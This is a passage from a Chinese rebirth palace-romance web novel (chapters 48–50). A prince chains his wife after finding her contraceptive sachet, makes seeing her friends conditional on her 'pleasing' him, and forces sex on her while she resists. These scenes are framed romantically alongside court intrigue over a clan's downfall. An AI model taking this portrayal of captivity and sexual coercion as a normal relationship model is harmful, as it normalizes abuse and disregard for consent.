岑璠认了出来,嘴微张,便是一个字也说不出来了。 元衡神情冷漠,可细细看去,竟是有些颓废挫败。 他声音幽冷,“王妃可否同孤解释解释,这个香囊是作何用?” 岑璠还在想他是如何发现的,须臾间一个念头闪过,“你让人给我诊了脉?” 这只香囊无色无味,若只是闻,平时诊脉并不会诊出异常,顶多是有些许气血不旺盛。 可前几日他们总在这院子中行房事,她回去将那香料掺杂在茶水饮食中服下,也能起到避子的作用。 然而这么做药效终归不如之前温和,有些伤身,一诊脉便能诊出体寒。 元衡反问:“不然呢?本王若不诊脉,还要被王妃蒙在鼓里多久?” 他平日生怕她磕了碰了,连受点凉都要担心,在椒房中把她娇养得气色红润,水灵灵的。 她却这么糟践自己的身子。 为了不要他的孩子,为了能和他划开界限,她竟然舍得这么糟践自己! 还有为了那两个人,她手上膝上摔的都是伤 她舍得为那两人受伤,心甘情愿挡在那两人身前,这一切的一切,却都要将他的真心踩在脚底下践踏。 元衡手攥紧,眼睛红的似要滴出血,“孤昨日便该将那两人都杀了!” 他果然没杀他们 岑璠眼睛微动,撇开些目光,却是什么也没说。 她越说他便是越怒火,两个人只要都性命无忧便好,其他的什么都无所谓 元衡看得懂她的心思,“他们确实没有死,本王若想让他们死,大河之畔诸多暗卫早都将他们杀了。” 经他这么一提醒,岑璠才想起,他在大河布下的暗哨,犹如天罗地网。 他有心放他们去晋阳,没打算杀他们 岑璠心终于定了下来,刚准备松一口气,却听那疯子又改了主意:“不过本王现在又不想放过他们了。” 她声音又冷了几分,问道:“你什么意思?” 元衡轻轻一笑,目光似带着戏谑和玩味。 “他们如今在本王的手上,王妃还不明白什么意思吗?” 岑璠并不想猜,也不想自己就这么说出口。 她咬了咬牙,冷道:“还请殿下明示。” 元衡坐了下来,目光落向那条金色的链子上,而后又回到她的脸上。 那俊美的脸庞近乎妖异,眼底深邃如墨,要浸透了似的,“取悦孤,孤带你去见他们,如何?” 第48章 第四十八章服侍 听到他这句,岑璠摇头笑了。 她微长的眼尾轻挑,“殿下想要我做什么?” 元衡一直觉得她生了双好看的眼睛,那双眸向来清冷,现下这般,带了些妩媚,似含有秋水,勾人心魂。 他勾起唇,道:“什么是取悦,王妃不知道?” 她不卑不亢,“当然不知道,要不殿下教我?” 元衡并不在乎她这副态度,似是有耐心,轻轻撩了一下她鬓边的碎发,看向她微松的衣襟,轻飘飘道:“脱了。” 岑璠收起刚才那副轻浮姿态,微卷的眼睫掀开,紧盯着他。 元衡冷笑,“怎么,不是让本王来教吗?” 那声音戏谑,像是一切尽在掌控,“王妃若是想再见到他们,那就得好好学。” 两人就这么对视,须臾后,岑璠莞尔一笑。 她坐起身,伸出手臂,勾上他的脖子,带的那锁链清脆作响。 一截藕臂搭在他的肩上,露出白嫩的肌肤,连带着一截锁链坠在胸口前。 她魅眼如丝,身上还带有清香,轻笑道:“那我给殿下脱,那算不算是无师自通?” 元衡一只手将她的腰按近些,脸上同样的带着笑,“自然算。” 岑璠瞬间黑下脸,她抓住他的衣领,用力扯开他的衣裳,扒到他的臂弯。 他胸口大敞,锁骨分明,大片的肌理纹路流畅得恰到好处,配上他这张脸确实算得上无可挑剔。 岑璠撇开眼,放下手。 “怎么不脱了?”元衡握紧她那只锁住的手腕,扶到他的腰间,“王妃进王府后,还从未给孤更衣,今日服侍一二,有何不可?” 岑璠盯住他,哼笑一声,咬牙切齿,“当然可以。” 她指尖碰上他的玉带,带上的白玉冰冷,她两手紧扣,近乎用扯,和元衡口中的“服侍”没有一点关系。 元衡就这么任由她扯,那条云纹玉带样式繁复,她扯了半天还是没扯开。 他脸越来越冷,最后还是没了耐心,握住她的手,掰开她乱抓的指,往该放的地方一扣。 玉带轻巧地解开,他便起身,双膝跪上来,整个身子往前压住。 他把她刚才对他所做之事照着做了一遍,扯住她的衣裳,用力一撕。 男人的力气终究要比她大一些,身上的纱衣被撕开一个裂口,腰间的细带被熟练地抽开,甩在床下。 炽热紧贴,岑璠想用脚蹬,手上胡乱拍打,锁链沙沙作响,他烦躁地用膝盖抵开,硬生生挤了进去。 他走了许多日,猛地闯入,岑璠差点背过气去,额头上冷汗直冒。 元衡似是感觉得到,低眼看她,神情还是冷漠,蹬掉鞋子,抱着她仰躺在床,向上抬了抬。 他抬头扫了两眼,盯住她,还是那句,“取悦孤,会吗?” 岑璠抿住唇,跪坐在那里,额上冷汗涔涔。 元衡知道,她是会的。 上一世会,这一世也懂,只是不愿意。 他手握紧她的腕,金链发出阵阵响声,不绝于耳。 …… 岑璠走的那晚,元衡曾回来过,将她身边伺候的人都看管了起来。 乳娘当晚彻夜未眠,隐约能猜到些什么。 今日被放出来,本想找个时候劝上一劝岑璠,却打听到两人未从西边的小院出来过。 到了午时,乳娘在房内终于有些坐不住,向灶房一打听,才知道两人连传膳也不曾。 乳娘知道自家姑娘的脾气。 可再怎么怄气,也不该不吃饭呀。 乳娘心里直道不行,让人收拾好饭,提着食盒去了西面的院子。 那院子门口有侍卫把守,乳娘笑脸相迎,说是去里面送饭。 侍卫面色为难,似不愿让她进。 乳娘徐徐道:“这午时都过了,两位主子再怎样总要吃饭,二位不如让老奴把饭送进去。” 两个侍卫相顾,让出门来。 乳娘轻步去了院子,正准备敲门,却是听见窗棱的响声。 那响声她来时并不大,是以她未曾注意,可现在却是清晰可闻,还伴随着几声锁链的响声。 乳娘向声响处看了一眼,只见那扇窗半掩,却有一只伸出的玉手。 那只手紧紧抓着窗, 似还是握不稳,松了又握,腕上一条金色的细链在窗棂上摇摆碰撞。 窗内的场景也依稀可见,白润细腻的香肩外露,纱衣半掩,影影绰绰。 乳娘迅速移开眼,只觉无处自容,迈开步子又走了出去,连饭盒都不曾留下。 一个时辰后,院子内才下令传膳。 岑璠还未沐浴,只简单擦洗过,一头乌发早已散开,身上换了件月白长袍。 就连用膳时,手上的锁链都不曾解开。 岑璠本觉得他是在吓唬他,可就算是他在她身上发泄了一通,依旧没有解开锁链的意思。 她问的时候,连尊称都省了,“这链子你到底打算什么时候松开?” 元衡未理会她眼中的怒意,给她盛了碗鸽子汤,淡淡道:“等你为本王诞下第一个孩儿的时候。” 岑璠沉默片刻,问道:“殿下是觉得,有了孩子我便不会离开王府了,对吗?” 元衡又把她的碗拿来,给她布菜,“等你真的有了,便知道了。” 岑璠读出了他眼中的执念,她冷声道:“你做梦!” 她终于在他面前收起了伪装。 先前她妥协退让,随和淡然,不过是因为她留有后招罢了,她知道她不会有他的孩子。 现在他揭穿了她的后招,她没了退路,便亮出了自己的爪牙。 元衡不理会,她现在这点脾气,他觉得他也还是能包容的。 他悠闲地给她布好菜,那摆出的花样比起宫里人摆的也分毫不差。 “王妃也饿了,先吃饭吧。” 岑璠未动一口,“你娶了我是不会有孩子的,我既然能想出调香的法子,就能想出其他千万种法子,毕竟就算怀上,在是在我肚子里…” 元衡听着听着,夹菜的手停在原地,渐渐颤抖。 他重生后,有很多事还是无法预料,可最大的变数便是她。 他从未想过,上一世宁可为他付出性命的人,这一世会厌恶他至此。 她把他和她的孩子视作孽种,宁可伤害自己也不要。 他与她为何会到今日这个地步…… 元衡内心挣扎痛苦,她的这番话像是冰锥扎在心头。 他站起来,声音哑然:“你不想生便不生,本王也不在乎。” * 杨氏盘踞晋阳,杨知聿作为杨樾义子,极得杨樾信任,在晋阳分府别住, 这一日,杨知聿被晋王叫去了王府。 他走时,身边的亲信问道:“晋王可是要问崔家的事?” 杨知聿面色平静,“迟早会有这么一天,慌什么?” 杨知聿进王府时,身后有侍卫跟随。 平日若他进王府不会如此,顶多有韩泽他们相迎,他知道晋王在向他施压。 这处书房并非他二人常待的湖边,而是在前殿,是晋王平日找下属议事的地方。 杨知聿闲庭信步走到他的书房,那扇门大开,他走进书房,身后的门被两个侍卫关上。 他正式行了一礼,“晋王殿下找微臣,可是有要事?” 元衡未让他坐,问话的语气中满是肯定:“崔家的事是你的手笔对吗?” 杨知聿坦荡承认道:“殿下英明。” 元衡手指轻敲桌案,“同孤说说吧。” “说什么?” 元衡道:“说说近来的事,还有你和崔家的恩怨。” 杨知聿负手而立,并未遵他之命全盘托出,“殿下不都知道,为何还要问臣?” 元衡看他,眼神严肃凌厉,“所以萧晗是你送往洛阳的?” 杨知聿笑了笑,“太尉将萧昀的藏身之所告知萧晗,不就是想让他走投无路,主动去洛阳找皇帝吗?” “臣不过是顺水推舟,告诉萧昀还有崔家这么一个筹码,带他避开殿下的人马,送他去洛阳罢了。” 这和元衡猜测的大差不差,他沉默片刻,讥讽道:“你为什么不告诉孤,你和崔家有仇?” 杨知聿不明所以,笑了两声,“臣需要告诉殿下什么?殿下又能帮臣做些什么,难道要劝臣放下杀母之仇,顾全大局是吗?” 元衡看着他,眉头深凝,“令堂和崔纪是什么关系?” 杨知聿敛起眸,声音转而变沉,“他和我母亲没有关系,是他的儿子…” “你还记得,崔纪有个儿子在赤城待过几年吗?” 元衡的记忆中,是有一位崔氏的公子在赤城任过官,那是崔纪的二儿子,那时他还小,并未见过此人。 听说那崔氏的二公子在赤城待了两年,被召回洛阳任职的途中得了急症,死在了路上。 他竟是和那崔家的二公子有关,细算年岁,如果那二公子有个儿子的话…… 想到这里,元衡煞然抬头,似觉得不可思议。 杨知聿继续道:“我的母亲原姓尉迟,外祖父死后,母亲拜尔朱氏为义父,在赤城居住,那时崔氏二公子和现任尔朱氏家主关系极好,尔朱氏常来赤城,一来二去母亲便和崔氏的二公子相识了。” “你……” “没错,若不是当年崔纪阻拦,如今我也该姓崔吧…”杨知聿长舒一口气,“当年母亲知道自己有身孕后,崔纪找过她,以尉迟家为要挟,母亲便自己回了平城,和崔二公子断了往来。” 元衡从未觉得面前之人如此陌生,“你的意思是,你该姓崔,却想杀崔氏的人?” “对,他崔二不过是个懦夫,崔纪说什么便只敢遵从不敢违背,说让我母亲断绝往来,便一句话不再过问,母亲被崔纪害死,他也从未来祭拜过。”杨知聿自己都觉得可笑,“说起来,我连他这个亲生父亲长什么样,都没有见过呢。” 元衡问道:“所以你要崔家满门都付出代价?” “不然呢?”杨知聿挑眉,“我从未吃过崔氏一粒米,他崔家人未养我一日,却害死我母亲,为何我不能让他们付出代价?” “怪也该怪他崔氏作恶太多,得罪了太多人才对!” 最后这一句元衡没办法反驳,若不是怕世家就此失势,郑家主又像上一世一样,为了女儿记恨杨氏和他,归隐不再过问世事,他也不想救崔家。 可他还有一点不解,“那你为何又非要要崔迟景的性命?” 杨知聿冷哼一声,衣袖后摆,“当年随崔纪来赤城的,正是她崔芙,当年她正在与杨氏议亲,那时杨氏为皇后,崔家不想闹出丑事,所以母亲才会离开赤城。” “他们父女一个二个自私自利,母亲被毒杀时,殿下觉得那崔芙会不知道?” 他就是要让她和崔纪都付出代价,当年崔氏如日中天,尔朱氏怕惹麻烦,母亲刚死便把他送去了军镇上,受尽磨难… 他就是要让她的儿子也尝尝,失去亲人后还要想尽法子挣扎活下去的滋味! 元衡一时理清了来龙去脉。 他还记得他十五岁那年,杨樾在军镇掌权后恢复身份,面前的少年拼了命也要拜杨樾为师,后来还干脆改姓,认作义父。 因为他知道,他与杨樾有共同的仇人,而杨樾恰好又是崔芙从前的丈夫… 面前这个人不仅仅是要一个义子的名分,他是想要取代崔迟景的位置,恶心崔芙。 元衡身子向后,靠向后面的凭几,上上下下打量了一下眼前的人,越看越不熟悉。 原来是个疯的。 元衡蓦地一笑,“那你拜杨樾为义父不膈应?当年崔芙嫁的人是他,说来也是间接…害死了令堂。” “我当然知道,不然殿下觉得上辈子,为何我会帮尔朱氏造反,这一世为何又要帮殿下?” 元衡便是再也无法反驳,他知道,面前的人是铁了心想报复每一个与他母亲的死有关之人。 “你不该想杀崔迟景。”他只道。 “为何不可?殿下是害怕郑家倒戈,殿下觉得上辈子郑中书令归隐,只是单单为了女儿吗?” 元衡道:“崔家为世家之首,如今少了 崔家,世家势弱,你觉得谁还能制衡军镇?” 他气定神闲,理了理桌上的公文,说出的话阴阳怪气,“崔公子与本王的王妃交好,你这么做,恐怕王妃也会记恨你呢。” 听到此话,杨知聿怔住,负在背后的手也慢慢垂下,“殿下说什么?” 元衡底下眼,平淡地又重复了一遍,听不出喜怒,“崔公子身负重伤,本王的王妃这几日寝室难安…” 他说完这句,便再也不说了,手中最后一卷公文狠狠摔在桌子上。 这么狠狠一砸,终究还是泄漏了些情绪。 杨知聿陡然清醒,恍然大悟,看向端坐在不远处的人,偶然间瞥到那颈子上一道长长的抓痕,嘲笑道:“殿下自己恐怕也是被记恨的那个吧。” 他们两个谁也别说谁,谁也别笑谁。 无论与她有何种关系,他们都不如一个温润如玉的崔公子来的重要。 元衡手逐渐缩紧,骨节清脆作响,没再说下去,冷眼看他,“你做的这些,难道不怕太尉知道?那可是他的亲儿子,他费尽心思把崔迟景调来晋阳,你觉得他想让他死?” “他迟早要知道,可那又如何?”杨知聿胸有成竹,“若是我死,他与萧晗勾结一事便会立刻传到萧昀那里,太尉应该也知道,我送萧晗去洛阳,必定安排了些亲信,如今萧昀在洛阳,这些消息传过去,殿下觉得老皇帝是会听萧昀的还是听杨氏的?” 元衡抿唇,许久后才说了一句,“好手段。” 杨知聿知道他说这么多,想做什么,“殿下放心,我不会再动崔迟景,我的目的已经达到,剩下也不会让殿下太为难。” 他跪地颔首,行一军礼,“臣擅作主张,犯下大错,自请去军镇驻守,殿下担忧军镇独大,臣愿将功赎罪,为殿下分忧。” * 岑璠这几日,一直被锁在西边的院子。 那条金链不算短,她在室内能正常走动。 自那日放过狠话,他便再也没来过。 兴许是真的因为子嗣之事对她失了兴趣,又或许这几日在忙些别的。 岑璠无事可做,这几日也无心再画,时常坐在窗边的贵妃椅上,一坐便是一下午。 夕阳洒脸上,院中似传来脚步声。 岑璠眼睛微移,便看到了一道熟悉的身影,他身后还跟了一个婢女,不知道吩咐了什么,那婢女向另一个方向走去。 他径直朝这处暖房而来,她移开目光,深吸一口气,垂下扶在窗上的手,一条锁链微微晃动。 他进屋时,似是心情极好。 岑璠早已见惯,也不觉得稀奇,也不想知道原因。 他坐在她背后,下颌搭在她的肩上,陪她静静看了许久,才问道:“在想什么?” 岑璠余光睨向他,直白道:“在想什么时候能离开这里。” 元衡不答,却也没再提什么生不生孩子的事。 他埋头,轻轻嗅了嗅她身上的香气。 岑璠皱了眉,想呛他几句,却听见了敲门声。 是刚才那个小婢女。 那婢女端了一碗药,热气腾腾的,放在桌上。 岑璠自觉不是什么好东西,“这是什么?” 谁知元衡却没让她过去,只自己坐在那张檀木桌案前,徐徐道:“王妃前几日说,不想要子嗣,本王仔细想了想,其实有没有孩子都不重要,不想生其实也无妨。” 岑璠没想到他会说这个,一时不知道该怎么接,怎么骂。 他端起药碗,吹了吹上面的热气,语气温和,“只是那香囊还是会伤身子,本王这几日派人找了一种药,专门给男子配的,以后这药本王来喝。” 第49章 第四十九章把他们全都送走 元衡说完,便仰头将那碗药喝了下去。 岑璠静静看着,没有劝阻,更谈不上感激。 这药究竟是干什么的,她现在还不知道。 他说是避子的,可这只是他嘴上说的,不可全信。 岑璠盯着那碗药,撇开目光,仍看着窗外,任由秋风扑在脸上。 秋日渐凉,门外一两片叶已经泛黄,在夕阳下摇曳,粼如波光。 院里的花前两日凋谢了一批,现在换上了几盆盛开的秋菊,却难掩萧瑟。 元衡叫下人撤开药,便又同她坐在同一张椅上,握了握她的手心,伸手将那扇窗关上。 他似是不满,可到底也没冲她撒气,“你喝的药伤身子,明日孤找个医士,给你调理几个月。” 岑璠斜睨了一眼,细长的黛眉微挑,问道:“殿下不是不想要子嗣吗?还在乎这个?” “这可是你的身子,本王当然在乎。” 元衡看她,一双凤眼少了些冷,像是被晕开在水里的墨,深邃荡漾,“你是不信本王?” 岑璠眼睫轻颤,未答是否,可他却有自知之明。 他的手覆在她脑后,猝不及防探入,岑璠尝到一片苦涩。 她推开他,元衡倒也没强迫,“尝到了?” 岑璠食指抹了抹嘴角,像是嫌弃至极。 他道:“孤没骗你,你不想要便不要,就咱们两个也好,现在有个孩子也是麻烦。” “等你哪日想要了,便和孤说,孤随时都能给。” 他说这番话的时候,直视她的眼睛,自说自话,一点都不闪避。 连岑璠都不得不怀疑他说的是不是真的。 他想要争夺皇位,又不想要子嗣,给自己喝药,莫不是真的疯了? 岑璠打量他,却还是没能彻底信。 元衡轻笑,似是不在意她信不信,手掌覆上她的脸颊,又侧了头。 他喝过药,又同她说了这么多,岑璠知道他是要做什么。 她默不作声张嘴。 元衡吃过数次亏,知道她又要咬他,先她一步退开点,“她醒了,你若是听话些,孤明日带你去看她。” 岑璠停住,两人的唇近在咫尺,几近相贴。 她似有些恍惚,轻轻问道:“谁醒了?” “郑家的六姑娘。”元衡停顿片刻,在她耳边又补充道:“本王安排他们假死,把他们安置在一个地方,找人看着,郑氏醒了,可那崔公子伤势太重,本王已找人细心医治,能不能醒来,还要看造化。” 他说“造化”二字时,抬眸看向她,带着笑意。 岑璠眼神闪烁,显然是在动摇。 元衡看得出,他欺身而上,褪去她的鞋袜。 被掩上的窗被风吹开,夕阳从缝隙中漏进一室,衣袖垂落,嫩白的趾如珠玉,微微蜷起,贝般的粉甲在照耀下莹莹泛光。 金轮渐落,一室渐暗,风微凉时,一只手又将那扇窗的最后一点缝隙重重关住。 关的严严实实。 岑璠趴在那张贵妃椅上,手松垮地垂下,一条金色的锁链落在地上,直连向床头。 衣裳被褪去一半,香背外露,他俯在她的背上,道:“崔家之事背后有太尉,还有杨知聿。” 说这话的时候,他明显能感觉到她的脊背一紧。 “你是不是没想到?”元衡问,似也没打算让她回答,“你放心,他自请去了军镇,很快就会走了。” 岑璠确实没有想到,此事背后还有杨知聿从中作梗。 可她也着实不知道,她要放心什么? 室内寂静,只有背后的男人在自言自语,“本王那日伤了崔公子,也只是为了掩人耳目,那里面不止有孤的人,若让他们知道孤包庇逃犯,孤也难做。” “等崔迟景的伤好了以后,孤把他和郑氏也送走。” 把他们全都送走,这样便好了 * 翌日,元衡兑现了他的承诺。 那只金环终于从她的手上取下来,只是他寸步不离,一刻也不肯放开她的手。 比起平时带的首饰,那只金环卡的稍紧些,在她的手上留下了一道红印。 他陪她一起上车,直到坐上 那辆香车后才发现那道红印。 他看了又看,没有道歉,也没有做出别的承诺,只说了一声,“回去之后孤给你上药。” 岑璠一路上都未与他讲话,记着窗外的风景。 可她对晋阳并不熟悉,只知道他们在向南走,走进了山里。 马车沿山路盘旋而上,渐渐认不清方位。 最后那辆马车停在了一处依山傍水的小院前。 推开门走进小院,那人正坐在床榻边,换回了女子的衣裳,一身浅青色大袖长袍,螺髻翘然,一只白玉簪斜戴在髻上,面色红润,就如同什么都没发生一般,给床上的人擦脸。 从窗外看去,俏丽婉约。 郑伊湄听到些声音,朝窗外看去,似是愣住,一动不动。 岑璠眼睛红润,朝她跑去。 元衡不放心她单独和两人说话,紧随其后,大步走过去。 郑伊湄在瞧见岑璠跑来时,便连忙坐起身去开门。 门开之时,岑璠猝不及防紧紧抱住她,声音颤抖,“真是太好了” 郑伊湄往后踉跄了两步,而后莞尔一笑,回抱住她,“皎皎放心,我一切都好。” 元衡就这么在门外站着,默默看着两人相拥,互诉衷肠,目光幽深,可到底是忍住没将两人拉开。 岑璠问道:“崔公子怎么样了?” 郑伊湄眼眸低落,低声道:“还没醒” 她注意到元衡,行了一礼,“多谢晋王殿下。” 元衡冷道:“不必谢。” 说罢,他自己先走了进去,来到床前,让出位置,想让岑璠看个清楚。 岑璠走进门去,便看到崔迟景躺在床上。 比起上一次见他,他的唇上明显有了血色,身上的衣物也被换过,少了些狼狈,又恢复了那副世家公子的贵气模样。 看样子算是救了回来。 元衡问道:“他的伤今日怎么样了?” 郑伊湄坐回床边,收拾了刚才放在地上的盆,摸了摸他的额头,牵起他的手,道:“肩上的伤已经开始愈合了,这几日也没再发热,医士今日来看过,说是应该这两日便能醒过来。” 元衡颔首,“本王给你们的假死药虽是无毒,但醒来后还会昏沉几日,此地不可久居,等他伤养的差不多,本王会叫人送你们去平城附近,你可愿意?” 他虽是在问,可这番话到底多是命令和安排。 郑伊湄一行礼,“但凭晋王殿下安排。” “你们在这里的事,我会会一五一十的告诉郑中书令,郑姑娘要明白。” 郑伊湄愣了愣,而后点头,“臣女知道了。” 元衡没再说什么,转而问她:“那王妃觉得这般安排如何?” 岑璠知道,他也并非在问她。 他从一开始便这么打算,想把他们送走 她抿了抿唇,屈膝道:“多谢殿下。” 郑伊湄看着两人,轻轻皱眉。 两人只又寒暄几句,元衡便往门外走。 岑璠见他不打算多待,也没要求要留下,见好就收,默默转头同他向门外走去。 郑伊湄却站起身,“晋王殿下。” 元衡转过身去,“何事?” 郑伊湄问道:“那日晋王殿下答应臣女的事,可还作数?” 元衡还记得答应她的事。 第一个是将她二人葬在一起,如今他们都活着,便是无从谈起。 另一件事便是不追究她 可他也只是锁了她而已,他追究了什么? 元衡顿了一瞬,沉声道:“当然作数。” * 岑璠不知道他同郑伊湄说过什么。 回去的路上,他一直盯着她前段日子被锁住的手腕,令她不适。 岑璠缩回手,问道:“刚才阿湄同你说了什么?” 元衡回过神来,他不喜欢她叫她阿湄,这么叫说不出的亲切,他也不喜欢旁的人叫她皎皎。 想到刚才两人相见时热泪盈眶,还有难舍难分的样子,元衡莫名堵塞。 他若无其事道:“没什么事。” 岑璠还问出些什么,可他手指一直摩挲着她腕上的红痕,显然是没兴趣回答。 他声音柔和,似比来时少了些戾气,“这几日,手腕可难受?” 岑璠怒极反笑,“殿下觉得呢?” 元衡放下她的手腕,与她十指相扣,“回去之后孤给你上药。” 还是这么一句。 岑璠知道,他并没有撤掉那条金链子的打算。 她并没有问出口,转而又问起另一件事,“那日我骑的那匹马,可是死了?” 元衡轻哼一声,“不过是匹劣性的马罢了。” “我说的是尔朱姑娘送我的那一匹。”她道。 元衡冷笑:“现在想起那匹马了?” 他端坐,道:“王妃放心,那匹马没有死,只不过是腿摔断了一只,以后可能无法跑了而已。” 没办法跑了吗 岑璠心里一时难受,她问道:“能带我去看看那匹马吗?” 元衡道:“当然可以。” 王府内有马厩,两人回王府后,便径直向马厩而去。 那匹马养在单独的马棚里,马棚中铺有一层厚厚稻草,那匹温顺的红马跪卧在那里,安安静静。 它的前腿上缠有一侧绷带,前肢突出一块儿,想必是很疼。 可那匹马还是在乖顺地吃草,见到她这个罪魁祸首,也没有表现出丝毫的不安和暴躁。 岑璠在马厩外面看着心疼,抬步就想走进去。 他抓住了她的臂,“脏。” 岑璠平静道:“我想进去看看” 元衡抿了抿唇,便是放开手,从地上提起她曳地的裙摆,抽走她臂间挂的那只披帛。 岑璠进了马厩,那只马似是有反应,马脖动了动,马的眼睛无瞳,岑璠也不知道它是不是想看她。 她半蹲下,轻轻顺着它的鬃毛,轻声道:“对不起” 那匹马还是安安静静,连鼻子都不曾嗤一下。 元衡随她一起蹲下,就这么漠然看着,“这只马过一阵会有人来治,虽然之后不能跑,还是能站起来的。” 岑璠听尔朱阳雪说过,一匹马若是再也不能站起来了,会变得性情暴躁,很快就会死了。 若是还能站起来,便还是能活着 可也只是活着而已。 岑璠点了点头,“多谢殿下。” “皎皎,你我是夫妻,何须说谢” 岑璠似没有听见他刚才说的那句话,她轻轻侧头,贴近那匹马。 那匹马似有感应,回头蹭了蹭她的脸颊,状似亲昵。 元衡不知道她为何这样,为了一匹马而悲哀。 “孤这里还有很多马,也有性情温和的,你可以随意挑。”他想了想,又道:“之后你若要跑马,孤会陪着你,不会拘你一直在院子。” 岑璠未有回应,须臾之后又是一句,“多谢殿下。” 元衡抿了唇,脸色黑了一瞬,看着她失魂落魄的表情,沉声道:“回去吧。” 岑璠仍是没听见似的,头靠在马的脖上,整个身子坐在了草垛上。 元衡皱眉,面露不喜,抱起她往回走。 两人径直回到了小院。 如今小院的仆从越来越多,王府众人也不知道,为何主子放着正殿不住,非要挤在西边最不起眼的院子。 她的裙摆刚才在马厩蹭脏了,元衡吩咐人拿来了一套新衣裳换上。 这些日元衡给她手心上药,熟悉药瓶存放的地方,在她换衣服的时候,他找到凉膏,剜出来一点,指尖在那大片的暗痕上涂抹,涂了厚厚一层,不厌其烦。 想到刚才那匹马,岑璠忍不住说道:“涂得再厚,又有什么用呢?” 元衡手指一顿,而后低下头,道:“会有用的。” 清凉的药膏贴在肌肤,满屋子的清香味,他放下她的手腕,拿出帕子擦了擦手上的药膏,而后手指又勾起了那条锁链。 他看了看面前的女人,就要将那条锁链扣在她另一只手腕上。 岑璠下意识收回手,看他的目光似夹带着抗拒和怒意。 元衡笑了笑,“不愿意戴?” 岑璠冷道:“殿下觉得呢?” 元衡看了看手里的那条金链子,越看自己也越来越觉得没意思。 他将那条金链扔在床角,道:“不戴也罢。” 他抬起手来,轻抚她的唇瓣,瞳中颜色如深墨幽黑。 岑璠竟是刹那间明白他是什么意思。 他又要让她取悦他了。 第50章 第五十章(一更)洗干净 西院并不算大,净房就连在屋子后头。 元衡向来爱干净,此前为了让她好受孕,云雨过后,他陪着她到第二日清晨才沐浴,这已经是他所能接受的极限。 如今没了顾虑,便立刻恢复了夜里叫水的习惯。 她去马厩后,即使换了衣裳,元衡也觉得不 够干净。 净室里雾气朦胧,不似正殿有个浴池,室内只放了一只浴桶,不过两个人坐进去也是足够。 里面没有婢女侍候,所幸的是浴室内还算安静。 浴桶内的花瓣漂浮,在水面上遮住一层,偶尔荡漾起一点涟漪,还有水波的声音。 “洗干净。”室内回荡起的声音,低哑带着欲望。 紧接着传来一声,“你做梦!” 这一声呵斥,就连净室外的奴婢也听得清楚,心里直打颤。 元衡却并不畏惧,他直视她,手上使劲引着她握住。 碰到那近乎烫手的温度,岑璠吓得缩了一下手。 他笑得近乎顽劣,岑璠皱起眉,咬了牙,张开手就要就要狠捏上去。 元衡有所察觉,先她一步提起她,让她坐在他的腿上,使劲握住了她的手腕提出水面。 那双细白的手带起一朵花瓣,挂在小指上,格外妖艳。 他似是不可置信。 岑璠展开一副笑,那笑容同他刚才一般轻浮,“怎么?殿下是怕了?” 元衡收起脸上的错愕,下颌微动,冷嗤一声,神色骤然冷厉。 他将她又往上抬了抬,岑璠坐得高了些,白润的肩露出水面,低眼去看他。 他抬头与她对视,捏紧了她的手腕,搭在他的肩上,重重沒入,没再给她去握住的机会。 既而净室内的水声大了许多,水洒出浴桶,啪嗒作响,久久未息。 * 杨知聿离开的前一日,去王府拜别。 那一日,一场秋雨又让晋阳的清晨浮上一层冷霜,后殿的湖水泛着寒。 水榭之中,有女子在提笔作画,看不清在画什么。 她身上披着一件锦绣厚衣,水榭周围不只有一个婢女,有人在炉内添着炭火,有人在烹茶。 杨知聿不由驻足,多看了几眼。 水榭中的人未看他,只静静画自己的,反倒是周围的小婢女一个二个向他行礼。 跟在一旁的韩泽提醒,“杨将军还是快些走吧,殿下在等着呢。” 杨知聿看向远处的书房,只见有人坐在那书房内,里面同样烹了一壶茶。 那个人在向这边看,不知道是在看他还是在看水榭中的女子。 元衡请他去后殿的书房,交代了一番军镇的事。 他从晋阳调走一些兵力,由杨知聿带去军镇。 柔然此次出来指认崔氏,是盯上了有崔氏势力的赤城,崔氏一败,赤城会有动荡。 这背后并不是杨知聿在从中作梗,而是杨樾。 元衡也没忘,上一世他是怎么丢了军镇兵权的。 杨知聿记恨杨樾,他也应该没忘上一世的杨樾对尔朱氏做了什么。 其实若无崔氏之事,安排他去军镇再合适不过,此人上一世在军镇翻手云覆手雨,能联合被杨氏打压多年的尔朱氏谋反,重来一世帮他稳住赤城肯定也能做到。 不过现在看来,这颗棋子还是太不受掌控了。 那壶茶滚了起来,元衡将炉上烹的茶提下来,提醒道:“此去军镇,会有老齐与你同去,等崔氏之事一了,孤也会去军镇。” 杨知聿提起茶壶,先给他倒了一盏茶,无视他眼中的试探。 他知道,面前的人生性多疑,前世如此,今世也要防着他。 他若无其事道:“殿下这茶是从洛阳来的吧,晋阳可见不到这种好东西。” 元衡也没有回答他:“孤的王妃在晋阳无亲友,却与尔朱姑娘甚是投缘,孤让尔朱阳雪留在晋阳,陪王妃做伴,你觉得如何?” 杨知聿嘴角挑起一抹讥笑,连眼皮都懒得抬,摇了摇头。 他还是这么喜欢拿人来威胁,一点也没变。 杨知聿满不在乎地端起茶盏,吹了吹热气,轻飘飘说了声,“殿下随意。” 元衡盯着她,将他的动作尽收眼底,嘴角笑如云间月,似是胸有成竹。 杨知聿也没继续说什么,眉轻轻一挑,咂了口嘴,看向门外,“殿下的王妃真是好兴致,只不过一个人画,的确没意思…” “外面都在传,说郑氏姑娘和崔氏公子一起殉情,既然崔氏没死,想必郑姑娘也在殿下这里吧。” 他淡淡道:“我记得郑姑娘和王妃相熟,小皇子满月宴上,一曲高山流水惊艳四座,殿下为何不让郑姑娘陪王妃做伴,莫不会是也有什么顾虑?” 元衡听的出他话里有话,不过他并未厉声反驳,只说道:“崔公子现在还未醒,况且他们现在也不宜在出现在世人面前,不是吗?” “那等崔氏醒了,殿下准备把他们安排去哪里?” 元衡看他一眼,道:“反正不会是军镇,碍不着你的眼。” 杨知聿轻轻一笑,“殿下放心,崔氏已不成气候,微臣说了不会对崔氏再动手。” “那自然是最好。” 两人谁也没有再说话,杨知聿又不禁看向门外。 刚转了头,便听那人又说道:“前些日子舅父去了怀朔,那里是高氏的地盘,你要小心。” 杨知聿似不放在心上,道:“知道。” 那高氏并不安分,上一世他和尔朱氏能掀起风浪,很大一部分原因便是高氏的倒戈。 杨樾最后还是死在高氏的刀下。 他若是去军镇,少不了又要与虎谋皮。 杨知聿嘴角微扬,似云淡风轻。 他对军镇太过了解,了解到熟知六镇每个掌权者,清楚他们想做什么。 “孤还没问过你,前一世你离开洛阳后发生了什么?为何你会消失三年?” 